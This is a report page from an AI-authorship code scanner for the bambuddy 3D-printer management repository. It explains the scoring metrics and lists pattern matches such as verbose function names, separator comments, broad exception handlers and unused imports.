maziggy/bambuddy

22.1

Adjusted Score

22.1

Raw Score

100%

Time Factor

2026-08-29

Last Push

2.9K

Stars

Python

Language

686.1K

Lines of Code

1.4K

Files

12.4K

Pattern Hits

2026-08-29

Scan Date

0.03

HC Hit Rate

What These Metrics Mean

Adjusted Score: Primary synthetic code indicator. Raw score normalised per 1,000 lines of code and multiplied by the temporal discount factor. This is the definitive comparative metric — use it to rank repositories by AI authorship density.
Raw Score: The unmodified sum of all severity-weighted, context-multiplied pattern match scores before temporal discounting. Reflects the absolute signal strength independent of when the repository was last active.
Time Factor: The temporal discount multiplier (0–100%) applied to the raw score. Repositories last updated before ChatGPT's launch (Nov 2022) receive a 5% factor. Full signal is only assigned to repositories active in the post-adoption era (Jan 2024+).
Pattern Hits: Total count of individual pattern matches across all files and categories. A high hit count with a low score may indicate a very large codebase with isolated AI snippets; a low count with a high score indicates dense, concentrated AI signatures.
HC Hit Rate: High+Critical pattern hits per file, averaged across the repository. This orthogonal signal catches repositories where a few files are densely packed with high-severity AI tells — a strong indicator even when the normalised score appears moderate due to codebase size.
Lines of Code / Files: Total lines and files analysed. The scanner examines 94 file extensions. These denominators are used to normalise the score, enabling fair comparison between repositories of vastly different sizes.

Score History

This chart maps the temporal evolution of the adjusted synthetic code score across successive scan runs. An upward trajectory indicates ongoing incorporation of AI-generated code or expanding LLM-assisted scaffolding; a stable or declining trajectory may reflect active human refactoring, code removal, or the adoption of stricter authorship policies. The dashed secondary line (right axis) independently tracks total raw pattern hit count, which can diverge from the normalised score when codebase size changes significantly between scans.

Severity Breakdown

Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.

CRITICAL 2HIGH 40MEDIUM 1482LOW 10850

Directory Score Breakdown

This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.

Pattern Findings

The scanner identified 12374 distinct pattern matches across 21 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.

Hyper-Verbose Identifiers7996 hits · 7246 pts

Severity	File	Line	Snippet	Context
LOW	frontend/src/utils/amsHelpers.ts	557	export function resolveSlotNozzleDiameter(	CODE
LOW	frontend/src/utils/printer.ts	75	export function filterCompatibleQueueItems(	CODE
LOW	frontend/src/utils/filamentPresets.ts	64	export function genericFilamentIdForMaterial(material: string \| null \| undefined): string {	CODE
LOW	frontend/src/utils/filamentPresets.ts	112	export function buildFilamentPresetOptions(sources: FilamentPresetSources): FilamentPresetOption[] {	CODE
LOW	frontend/src/utils/inventoryQueries.ts	6	export function invalidateInventoryLocations(queryClient: QueryClient) {	CODE
LOW	frontend/src/utils/inventoryQueries.ts	11	export function invalidateSpoolAndLocationQueries(	CODE
LOW	frontend/src/utils/slicerPrinterMatch.ts	57	export function matchesPrinterModelSuffix(presetSuffix: string, printerModel: string): boolean {	CODE
LOW	frontend/src/utils/slicerPrinterMatch.ts	160	function extractPrinterPresetModel(printerPresetName: string): { model: string; nozzle: string \| null } \| null {	CODE
LOW	frontend/src/utils/slicerPrinterMatch.ts	171	function stripTrailingParenthetical(s: string): string {	CODE
LOW	frontend/src/utils/sidebarLayout.ts	26	export function getHiddenSidebarSystemItemIds(): string[] {	CODE
LOW	frontend/src/utils/sidebarLayout.ts	38	export function saveHiddenSidebarSystemItemIds(ids: string[]) {	CODE
LOW	frontend/src/utils/preheatFilamentTargets.ts	40	export function parsePreheatFilamentTargets(raw: string): Record<string, number> {	CODE
LOW	frontend/src/utils/preheatFilamentTargets.ts	61	export function serializePreheatFilamentTargets(map: Record<string, number>): string {	CODE
LOW	frontend/src/utils/preheatFilamentTargets.ts	78	export function normalizePreheatFilamentType(trayType: string): string {	CODE
LOW	frontend/src/utils/preheatFilamentTargets.ts	86	export function deriveChamberTargetForTrays(	CODE
LOW	frontend/src/utils/projectQueries.ts	34	export function invalidateArchiveAndProjectViews(queryClient: QueryClient) {	CODE
LOW	frontend/src/components/ModelViewer.tsx	179	function parsePlateIdFromAttributes(element: Element): number \| null {	CODE
LOW	frontend/src/components/CreateUserAdvancedAuthModal.tsx	32	export function CreateUserAdvancedAuthModal({	CODE
LOW	frontend/src/components/ConnectionDiagnostic.tsx	112	export function ConnectionDiagnosticModal(props: ConnectionDiagnosticModalProps) {	CODE
LOW	…ntend/src/components/VirtualPrinterDiagnosticModal.tsx	32	export function VirtualPrinterDiagnosticModal({	CODE
LOW	frontend/src/components/NotificationTemplateEditor.tsx	14	export function NotificationTemplateEditor({ template, onClose }: NotificationTemplateEditorProps) {	CODE
LOW	…ontend/src/components/PreheatFilamentTargetsEditor.tsx	23	export function PreheatFilamentTargetsEditor({ value, onChange, disabled = false }: Props) {	CODE
LOW	frontend/src/components/PrintModal/archiveAmsMapping.ts	32	export function resolveArchiveSlicerAmsMapping(	CODE
LOW	frontend/src/components/spool-form/ColorSection.tsx	13	function normalizeExtraColorsInput(raw: string): { value: string; invalid: string[] } {	CODE
LOW	frontend/src/components/spool-form/utils.ts	170	function buildLocalFilamentOptions(localPresets: LocalPreset[]): FilamentOption[] {	CODE
LOW	frontend/src/components/spool-form/utils.ts	406	export function materialForGenericFilamentId(id: string \| null \| undefined): string {	CODE
LOW	frontend/src/components/spool-form/utils.ts	420	export function genericFilamentIdMatchesMaterial(id: string, material: string): boolean {	CODE
LOW	frontend/src/__tests__/components/SliceModal.test.tsx	747	function makeMultiPlateLibraryResponse() {	CODE
LOW	frontend/src/__tests__/components/SliceModal.test.tsx	972	function makeMultiColorPlateResponse() {	CODE
LOW	frontend/src/__tests__/components/SliceModal.test.tsx	996	function makeMultiColorRequirementsResponse() {	CODE
LOW	frontend/src/hooks/useMultiPrinterFilamentMapping.ts	201	function computeMappingWithOverrides(	CODE
LOW	frontend/src/hooks/useMultiPrinterFilamentMapping.ts	296	export function useMultiPrinterFilamentMapping(	CODE
LOW	frontend/src/api/client.ts	86	function parseContentDispositionFilename(header: string \| null): string \| null {	CODE
LOW	frontend/src/pages/PrintersPage.tsx	1441	function NozzleTemperatureControlBox({	CODE
LOW	frontend/src/pages/FinancePage.tsx	24	function parsePrintChargeDescription(description: string \| null): ParsedPrintChargeDescription {	CODE
LOW	…end/src/pages/spoolbuddy/SpoolBuddyCalibrationPage.tsx	173	export function SpoolBuddyCalibrationPage() {	CODE
LOW	tests/e2e_toggle_persistence_test.py	16	def test_smart_plug_auto_off_toggle_persistence(page):	CODE
LOW	tests/e2e_toggle_persistence_test.py	106	def test_notification_event_toggle_persistence(page):	CODE
LOW	tests/e2e_toggle_persistence_test.py	190	def test_ams_alarm_toggle_persistence(page):	CODE
LOW	tests/e2e_toggle_persistence_test.py	254	def test_smart_plug_power_off_confirmation(page):	CODE
LOW	tests/e2e_comprehensive_test.py	12	def test_navigation_and_sidebar(page):	CODE
LOW	tests/e2e_comprehensive_test.py	283	def test_external_links_sidebar(page):	CODE
LOW⚡	backend/app/main.py	839	async def _kill_switch_notification_already_sent(task: asyncio.Task[bool] \| None) -> bool:	CODE
LOW⚡	backend/app/main.py	2535	async def _capture_snapshot_for_notification(printer_id: int, printer, logger) -> bytes \| None:	CODE
LOW⚡	backend/app/main.py	6785	async def _background_layer_timelapse():	CODE
LOW⚡	backend/app/main.py	7112	def start_ams_history_recording():	CODE
LOW⚡	backend/app/main.py	7120	def stop_ams_history_recording():	CODE
LOW⚡	backend/app/main.py	7241	def start_printer_sensor_history_recording():	CODE
LOW⚡	backend/app/main.py	7248	def stop_printer_sensor_history_recording():	CODE
LOW⚡	backend/app/main.py	7374	async def _spoolbuddy_watchdog_loop():	CODE
LOW⚡	backend/app/main.py	7388	def start_spoolbuddy_watchdog():	CODE
LOW⚡	backend/app/main.py	7497	async def _connection_watchdog_loop():	CODE
LOW⚡	backend/app/main.py	7511	def start_connection_watchdog():	CODE
LOW⚡	backend/app/main.py	7566	def _evict_stale_expected_prints() -> None:	CODE
LOW⚡	backend/app/main.py	7605	async def _expected_prints_cleanup_loop() -> None:	CODE
LOW⚡	backend/app/main.py	7617	def start_expected_prints_cleanup() -> None:	CODE
LOW⚡	backend/app/main.py	7624	def stop_expected_prints_cleanup() -> None:	CODE
LOW	backend/app/main.py	705	def _is_bambuddy_authorized_print_in_memory(printer_id: int, state: PrinterState) -> bool:	CODE
LOW	backend/app/main.py	714	async def _is_printer_kill_switch_enabled_cached() -> bool:	CODE
LOW	backend/app/main.py	734	async def _is_bambuddy_authorized_print(printer_id: int, state: PrinterState, db) -> bool \| None:	CODE
7936 more matches not shown…

Decorative Section Separators1363 hits · 4870 pts

Severity	File	Line	Snippet	Context
MEDIUM	docker-publish.sh	290	# ============================================================	COMMENT
MEDIUM	docker-publish.sh	292	# ============================================================	COMMENT
MEDIUM	test_docker.sh	134	# ============================================	COMMENT
MEDIUM	test_docker.sh	136	# ============================================	COMMENT
MEDIUM	test_docker.sh	161	# ============================================	COMMENT
MEDIUM	test_docker.sh	163	# ============================================	COMMENT
MEDIUM	test_docker.sh	189	# ============================================	COMMENT
MEDIUM	test_docker.sh	191	# ============================================	COMMENT
MEDIUM	test_docker.sh	202	# ============================================	COMMENT
MEDIUM	test_docker.sh	204	# ============================================	COMMENT
MEDIUM	test_docker.sh	215	# ============================================	COMMENT
MEDIUM	test_docker.sh	217	# ============================================	COMMENT
MEDIUM	test_docker.sh	282	# ============================================	COMMENT
MEDIUM	test_docker.sh	284	# ============================================	COMMENT
MEDIUM	docker-publish-beta.sh	199	# ============================================================	COMMENT
MEDIUM	docker-publish-beta.sh	201	# ============================================================	COMMENT
MEDIUM	test_security.sh	45	# ── Temp directory for scan output ───────────────────────────────────────	COMMENT
MEDIUM	test_security.sh	58	# ── SARIF parser (used for CodeQL result display) ────────────────────────	COMMENT
MEDIUM	test_security.sh	106	# ── Scan functions (write to stdout, return exit code) ───────────────────	COMMENT
MEDIUM	test_security.sh	211	# ── Job launcher (streams output live with prefix, captures to log) ──────	COMMENT
MEDIUM	test_security.sh	235	# ── Wait for all scans ───────────────────────────────────────────────────	COMMENT
MEDIUM	test_security.sh	280	# ── Summary ──────────────────────────────────────────────────────────────	COMMENT
MEDIUM	test_security.sh	293	# ── Results table ────────────────────────────────────────────────────	COMMENT
MEDIUM	test_security.sh	318	# ── Full output per scan ─────────────────────────────────────────────	COMMENT
MEDIUM	test_security.sh	350	# ── Main ─────────────────────────────────────────────────────────────────	COMMENT
MEDIUM	.gitleaks.toml	7	# ── Custom rules ─────────────────────────────────────────────────────────	COMMENT
MEDIUM	.gitleaks.toml	37	# ── Global allowlist ─────────────────────────────────────────────────────	COMMENT
MEDIUM⚡	docker-publish-daily-beta.sh	101	# ============================================================	COMMENT
MEDIUM⚡	docker-publish-daily-beta.sh	103	# ============================================================	COMMENT
MEDIUM⚡	docker-publish-daily-beta.sh	126	# ============================================================	COMMENT
MEDIUM⚡	docker-publish-daily-beta.sh	128	# ============================================================	COMMENT
MEDIUM⚡	docker-publish-daily-beta.sh	287	# ============================================================	COMMENT
MEDIUM⚡	docker-publish-daily-beta.sh	289	# ============================================================	COMMENT
MEDIUM⚡	docker-publish-daily-beta.sh	379	# ============================================================	COMMENT
MEDIUM⚡	docker-publish-daily-beta.sh	381	# ============================================================	COMMENT
MEDIUM	docker-publish-daily-beta.sh	399	# ============================================================	COMMENT
MEDIUM	docker-publish-daily-beta.sh	401	# ============================================================	COMMENT
MEDIUM	docker-publish-daily-beta.sh	430	# ============================================================	COMMENT
MEDIUM	docker-publish-daily-beta.sh	432	# ============================================================	COMMENT
MEDIUM	install/install.sh	62	# -----------------------------------------------------------------------------	COMMENT
MEDIUM	install/install.sh	64	# -----------------------------------------------------------------------------	COMMENT
MEDIUM	install/install.sh	179	# -----------------------------------------------------------------------------	COMMENT
MEDIUM	install/install.sh	181	# -----------------------------------------------------------------------------	COMMENT
MEDIUM	install/install.sh	282	# -----------------------------------------------------------------------------	COMMENT
MEDIUM	install/install.sh	284	# -----------------------------------------------------------------------------	COMMENT
MEDIUM	install/install.sh	316	# -----------------------------------------------------------------------------	COMMENT
MEDIUM	install/install.sh	318	# -----------------------------------------------------------------------------	COMMENT
MEDIUM	install/install.sh	751	# -----------------------------------------------------------------------------	COMMENT
MEDIUM	install/install.sh	753	# -----------------------------------------------------------------------------	COMMENT
MEDIUM	install/docker-install.sh	45	# -----------------------------------------------------------------------------	COMMENT
MEDIUM	install/docker-install.sh	47	# -----------------------------------------------------------------------------	COMMENT
MEDIUM	install/docker-install.sh	156	# -----------------------------------------------------------------------------	COMMENT
MEDIUM	install/docker-install.sh	158	# -----------------------------------------------------------------------------	COMMENT
MEDIUM	install/docker-install.sh	214	# -----------------------------------------------------------------------------	COMMENT
MEDIUM	install/docker-install.sh	216	# -----------------------------------------------------------------------------	COMMENT
MEDIUM	install/docker-install.sh	361	# -----------------------------------------------------------------------------	COMMENT
MEDIUM	install/docker-install.sh	363	# -----------------------------------------------------------------------------	COMMENT
MEDIUM	frontend/src/components/TwoFactorSettings.tsx	11	// ─── Small reusable code input ────────────────────────────────────────────────	COMMENT
MEDIUM	frontend/src/components/TwoFactorSettings.tsx	36	// ─── Backup codes display ─────────────────────────────────────────────────────	COMMENT
MEDIUM	frontend/src/components/TwoFactorSettings.tsx	72	// ─── TOTP setup wizard ────────────────────────────────────────────────────────	COMMENT
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Excessive Try-Catch Wrapping797 hits · 690 pts

Severity	File	Line	Snippet	Context
LOW	frontend/docs/create_proxy_diagram.py	41	except Exception as e:	CODE
LOW	tests/e2e_toggle_persistence_test.py	310	except Exception as e:	CODE
LOW	tests/e2e_comprehensive_test.py	366	except Exception as e:	CODE
MEDIUM	backend/app/main.py	5880	def _notify_no_archive():	CODE
MEDIUM	backend/app/main.py	6094	def _notify_billing_charge_failed() -> None:	CODE
LOW⚡	backend/app/main.py	830	except Exception as e:	CODE
LOW⚡	backend/app/main.py	846	except Exception as e:	CODE
LOW⚡	backend/app/main.py	2294	except Exception as e:	CODE
LOW⚡	backend/app/main.py	2527	except Exception as e:	CODE
LOW⚡	backend/app/main.py	2531	except Exception as e:	CODE
LOW⚡	backend/app/main.py	5729	except Exception as e:	CODE
LOW⚡	backend/app/main.py	5731	except Exception as e:	CODE
LOW⚡	backend/app/main.py	6773	except Exception as e:	CODE
LOW⚡	backend/app/main.py	6777	except Exception as e:	CODE
LOW⚡	backend/app/main.py	7107	except Exception as e:	CODE
LOW⚡	backend/app/main.py	7236	except Exception as e:	CODE
LOW⚡	backend/app/main.py	7383	except Exception as e:	CODE
LOW⚡	backend/app/main.py	7491	except Exception as e:	CODE
LOW⚡	backend/app/main.py	7506	except Exception as e:	CODE
LOW⚡	backend/app/main.py	7612	except Exception as e:	CODE
LOW	backend/app/main.py	911	except Exception as e:	CODE
LOW	backend/app/main.py	1347	except Exception as e:	CODE
LOW	backend/app/main.py	1511	except Exception as e:	CODE
LOW	backend/app/main.py	1557	except Exception as e:	CODE
LOW	backend/app/main.py	1575	except Exception as e:	CODE
LOW	backend/app/main.py	1591	except Exception:	CODE
LOW	backend/app/main.py	1647	except Exception as e:	CODE
LOW	backend/app/main.py	1753	except Exception as e:	CODE
LOW	backend/app/main.py	1807	except Exception:	CODE
LOW	backend/app/main.py	1825	except Exception as e:	CODE
LOW	backend/app/main.py	1969	except Exception:	CODE
LOW	backend/app/main.py	2048	except Exception as e:	CODE
LOW	backend/app/main.py	2214	except Exception:	CODE
LOW	backend/app/main.py	2350	except Exception as e:	CODE
LOW	backend/app/main.py	2376	except Exception as e:	CODE
LOW	backend/app/main.py	2387	except Exception as e:	CODE
LOW	backend/app/main.py	2493	except Exception as e:	CODE
LOW	backend/app/main.py	2598	except Exception as e:	CODE
LOW	backend/app/main.py	2666	except Exception as e:	CODE
LOW	backend/app/main.py	2713	except Exception as e:	CODE
LOW	backend/app/main.py	2779	except Exception as e:	CODE
LOW	backend/app/main.py	2830	except Exception:	CODE
LOW	backend/app/main.py	2857	except Exception as e:	CODE
LOW	backend/app/main.py	2867	except Exception as e:	CODE
LOW	backend/app/main.py	2970	except Exception as notif_err:	CODE
LOW	backend/app/main.py	2974	except Exception as plate_err:	CODE
LOW	backend/app/main.py	3196	except Exception:	CODE
LOW	backend/app/main.py	3240	except Exception as e:	CODE
LOW	backend/app/main.py	3536	except Exception as e:	CODE
LOW	backend/app/main.py	3608	except Exception as e:	CODE
LOW	backend/app/main.py	3693	except Exception as e:	CODE
LOW	backend/app/main.py	3815	except Exception:	CODE
LOW	backend/app/main.py	3829	except Exception as e:	CODE
LOW	backend/app/main.py	3836	except Exception as e:	CODE
LOW	backend/app/main.py	3886	except Exception:	CODE
LOW	backend/app/main.py	3921	except Exception as e:	CODE
LOW	backend/app/main.py	3935	except Exception as e:	CODE
LOW	backend/app/main.py	4046	except Exception as e:	CODE
LOW	backend/app/main.py	4085	except Exception as e:	CODE
LOW	backend/app/main.py	4104	except Exception as e:	CODE
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Unused Imports855 hits · 672 pts

Severity	File	Line	Context
LOW	backend/app/cli.py	9	CODE
LOW	backend/app/core/oidc_env.py	10	CODE
LOW	backend/app/core/auth.py	1	CODE
LOW	backend/app/core/trace.py	30	CODE
LOW	backend/app/core/encryption.py	22	CODE
LOW	backend/app/core/tasks.py	22	CODE
LOW	backend/app/core/compat.py	6	CODE
LOW	backend/app/core/paths.py	11	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/database.py	252	CODE
LOW	backend/app/core/asyncio_handlers.py	10	CODE
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Over-Commented Block403 hits · 300 pts

Severity	File	Line	Snippet	Context
LOW	requirements.txt	1	# Web Framework	COMMENT
LOW	requirements.txt	41	# Virtual Printer (emulates Bambu printer for slicer uploads)	COMMENT
LOW	requirements.txt	81	# STL Thumbnail Generation	COMMENT
LOW	requirements.txt	121	# same trust store httpx uses — the Windows OS store lacks the Amazon root	COMMENT
LOW	requirements.txt	141	urllib3>=2.7.0	COMMENT
LOW	docker-publish.sh	1	#!/bin/bash	COMMENT
LOW	docker-publish-beta.sh	1	#!/bin/bash	COMMENT
LOW	test_security.sh	1	#!/usr/bin/env bash	COMMENT
LOW	docker-compose.yml	1	services:	COMMENT
LOW	docker-compose.yml	21	#	COMMENT
LOW	docker-compose.yml	41	# 50000-50009, VP 2 → 50010-50019, VP 3 → 50020-50029, etc. The default	COMMENT
LOW	docker-compose.yml	61	# narrowed range above.	COMMENT
LOW	docker-compose.yml	81	# so Bambuddy can request Let's Encrypt certs for virtual printers via	COMMENT
LOW	docker-compose.yml	101	# files back to the host share.	COMMENT
LOW	docker-compose.yml	121	#- BAMBUDDY_COMPOSE_DIR=${PWD}	COMMENT
LOW	docker-compose.yml	141	#- MFA_ENCRYPTION_KEY=	COMMENT
LOW	docker-compose.yml	161	# nearer the limit than is comfortable. The headroom costs nothing — the	COMMENT
LOW	docker-publish-daily-beta.sh	1	#!/bin/bash	COMMENT
LOW	docker-publish-daily-beta.sh	21	#	COMMENT
LOW	install/install.sh	1	#!/usr/bin/env bash	COMMENT
LOW	install/docker-install.sh	1	#!/usr/bin/env bash	COMMENT
LOW	frontend/src/contexts/SliceJobTrackerContext.tsx	101	const progress = progressRef.current.get(job.id) ?? null;	COMMENT
LOW	frontend/src/utils/colors.ts	1	// Runtime color-name catalog, populated once at app startup by ColorCatalogProvider	COMMENT
LOW	frontend/src/utils/filamentPresets.ts	1	// Tiered filament-preset list, shared by every picker that has to offer "all	COMMENT
LOW	frontend/src/utils/slicePresetPicker.ts	1	// Pure-function helpers for the SliceModal's per-slot preset selection.	COMMENT
LOW	frontend/src/utils/slicePresetPicker.ts	121	// print/schedule modal: type match dominates, exact-colour-match bumps over	COMMENT
LOW	frontend/src/utils/slicerPrinterMatch.ts	1	// Printer-compatibility matching for the SliceModal's process / filament	COMMENT
LOW	frontend/src/utils/slicerPrinterMatch.ts	181	// Compare two nozzle strings numerically, so "0.20" and "0.2" are the same	COMMENT
LOW	frontend/src/utils/slicerPrinterMatch.ts	261	}	COMMENT
LOW	frontend/src/components/ConfigureAmsSlotModal.tsx	221	// (e.g. "X1C", "H2D"). Two strategies in order:	COMMENT
LOW	frontend/src/components/ConfigureAmsSlotModal.tsx	881	const { fullName, material, brand, filamentId } = selectedPresetInfo;	COMMENT
LOW	frontend/src/components/KProfilesView.tsx	201	profile?.k_value ? truncateK(profile.k_value) : '0.020'	COMMENT
LOW	frontend/src/components/KProfilesView.tsx	361	// profile come back as "HH00-0.4" once the parse defaults had stamped it	COMMENT
LOW	frontend/src/components/GitHubRestoreModal.tsx	121	// new commit with the old commit's categories — none of which the user had	COMMENT
LOW	frontend/src/components/GitHubRestoreModal.tsx	141	const restoreMutation = useMutation({	COMMENT
LOW	frontend/src/components/AssignSpoolModal.tsx	61	setDisableFiltering(false);	COMMENT
LOW	frontend/src/components/AssignSpoolModal.tsx	241	);	COMMENT
LOW	frontend/src/components/SlicerPipelinesPanel.tsx	101	},	COMMENT
LOW	frontend/src/components/SpoolFormModal.tsx	341	// Legacy rows may carry a malformed rgba (e.g. the 7-char 'FFFFFFF'	COMMENT
LOW	frontend/src/components/Layout.tsx	81	// disc is replaced by a button in the compact header: the bottom-right corner	COMMENT
LOW	frontend/src/components/QueueTimelineView.tsx	81	const nowMs = now.getTime();	COMMENT
LOW	frontend/src/components/SliceModal.tsx	61	}	COMMENT
LOW	frontend/src/components/SliceModal.tsx	201	// entry per AMS slot the plate uses. Pre-pick (effect below) initialises	COMMENT
LOW	frontend/src/components/SliceModal.tsx	221	// because the process preset's default plate (typically "Cool Plate") is	COMMENT
LOW	frontend/src/components/SliceModal.tsx	241		COMMENT
LOW	frontend/src/components/SliceModal.tsx	301	staleTime: 60_000,	COMMENT
LOW	frontend/src/components/SliceModal.tsx	1281	const { t } = useTranslation();	COMMENT
LOW	frontend/src/components/PrintModal/index.tsx	821	});	COMMENT
LOW	frontend/src/components/PrintModal/index.tsx	1041	// file, so an override on slot 3 means the same filament in every plate that	COMMENT
LOW	frontend/src/components/PrintModal/FilamentMapping.tsx	41	// type/color auto-match entirely — same mechanism as a manual per-slot	COMMENT
LOW	frontend/src/components/spool-form/ColorSection.tsx	41	// Current rgba in canonical 8-char uppercase form (RRGGBBAA). Used both for	COMMENT
LOW	frontend/src/components/spool-form/utils.ts	161	}	COMMENT
LOW	frontend/src/components/spool-form/utils.ts	361	// Spools store ``slicer_filament`` as a setting_id like "GFSG98_09" (the "_NN"	COMMENT
LOW	frontend/src/__tests__/setup.ts	81		COMMENT
LOW	frontend/src/__tests__/utils/date.test.ts	461	// Date. So we feed it a Date object whose local components we control via	COMMENT
LOW	…__tests__/pages/InventoryPageArchivedConsumed.test.tsx	181		COMMENT
LOW	frontend/src/__tests__/pages/SpoolBuddyAmsPage.test.tsx	221	});	COMMENT
LOW	frontend/src/hooks/useWebSocket.ts	101	// Auth-disabled deployments accept connections without a token.	COMMENT
LOW	frontend/src/hooks/useWebSocket.ts	221	});	COMMENT
LOW	frontend/src/hooks/useWebSocket.ts	501	debouncedInvalidate('spoolbuddy-update-check');	COMMENT
343 more matches not shown…

Self-Referential Comments83 hits · 249 pts

Severity	File	Line	Snippet	Context
MEDIUM	docker-publish-daily-beta.sh	333	# Create the release body	COMMENT
MEDIUM	install/install.sh	368	# Create the target user-owned (elevating only if its parent is root-owned,	COMMENT
MEDIUM	install/docker-install.sh	312	# Create a modified compose file for macOS	COMMENT
MEDIUM	slicer-api/docker-compose.arm64.yml	9	# This file is not meant to be used on its own. It is intended to be used in	COMMENT
MEDIUM	backend/app/main.py	3721	# Create a fallback archive without 3MF data so the print is still tracked	COMMENT
MEDIUM	backend/app/api/routes/maintenance.py	529	# Create the assignment	COMMENT
MEDIUM	backend/app/api/routes/settings.py	794	# Create a temporary engine for the import (current engine was disposed)	COMMENT
MEDIUM	backend/app/api/routes/projects.py	1990	# Create the project	COMMENT
MEDIUM	backend/app/api/routes/projects.py	2117	# Create the project	COMMENT
MEDIUM	backend/app/services/layer_timelapse.py	145	# Create a concat file listing all frames	COMMENT
MEDIUM	backend/app/services/smart_plug_manager.py	458	# Create a minimal plug-like object for the service	COMMENT
MEDIUM	backend/app/services/bambu_mqtt.py	3261	# Create a hash of relevant AMS data to detect changes.	COMMENT
MEDIUM	backend/app/services/virtual_printer/manager.py	1892	# This method is kept for backward compat with the settings endpoint.	COMMENT
MEDIUM	backend/tests/conftest.py	259	# Create a new session maker for the test engine	COMMENT
MEDIUM	backend/tests/conftest.py	401	# Create a mock smart_plug_service	COMMENT
MEDIUM	…kend/tests/unit/test_print_start_expected_promotion.py	305	# Create a session without ams_mapping (simulates MQTT not providing it)	COMMENT
MEDIUM	backend/tests/unit/test_archive_filtering.py	691	# Create the expected output file (as FFmpeg would)	COMMENT
MEDIUM	backend/tests/unit/services/test_external_camera.py	279	# Create a buffer with one complete frame	COMMENT
MEDIUM	backend/tests/unit/services/test_stl_thumbnail.py	42	# Create a dummy STL file (will fail to parse)	COMMENT
MEDIUM	backend/tests/unit/services/test_stl_thumbnail.py	61	# Create a simple ASCII STL cube	COMMENT
MEDIUM	backend/tests/unit/services/test_virtual_printer.py	430	# Create a temp 3mf file	COMMENT
MEDIUM	backend/tests/unit/services/test_virtual_printer.py	550	# Create a temp 3mf file	COMMENT
MEDIUM	…ckend/tests/unit/services/test_notification_service.py	471	# Create a mock provider with digest enabled	COMMENT
MEDIUM	…ckend/tests/unit/services/test_notification_service.py	559	# Create a mock response	COMMENT
MEDIUM	backend/tests/unit/services/mock_ftp_server.py	152	# Create a unique handler class per instance so _failure_map is isolated	COMMENT
MEDIUM⚡	backend/tests/integration/test_camera_api.py	294	# Create a fake JPEG (starts with FFD8)	COMMENT
MEDIUM	backend/tests/integration/test_api_key_cloud_access.py	119	# Create a legacy key directly in the DB (user_id NULL, mimicking	COMMENT
MEDIUM	backend/tests/integration/test_advanced_auth_api.py	341	# Create a user with email	COMMENT
MEDIUM	backend/tests/integration/test_security.py	1571	# Create a low-privilege user (no group → no permissions in default seed).	COMMENT
MEDIUM	backend/tests/integration/test_security.py	1643	# Create a user explicitly in the Viewers group — it has SETTINGS_READ	COMMENT
MEDIUM	backend/tests/integration/test_security.py	2821	# Create a pre_auth token to simulate the post-login 2FA challenge step.	COMMENT
MEDIUM⚡	backend/tests/integration/test_ams_history_api.py	95	# Create a recent record	COMMENT
MEDIUM⚡	backend/tests/integration/test_ams_history_api.py	97	# Create an old record (outside default 24h)	COMMENT
MEDIUM	backend/tests/integration/test_ams_history_api.py	148	# Create an old record	COMMENT
MEDIUM	backend/tests/integration/test_oidc_env_apply.py	679	# Create a user and link it to the env-managed provider	COMMENT
MEDIUM	backend/tests/integration/test_mfa_api.py	1129	# Create a regular user via user management	COMMENT
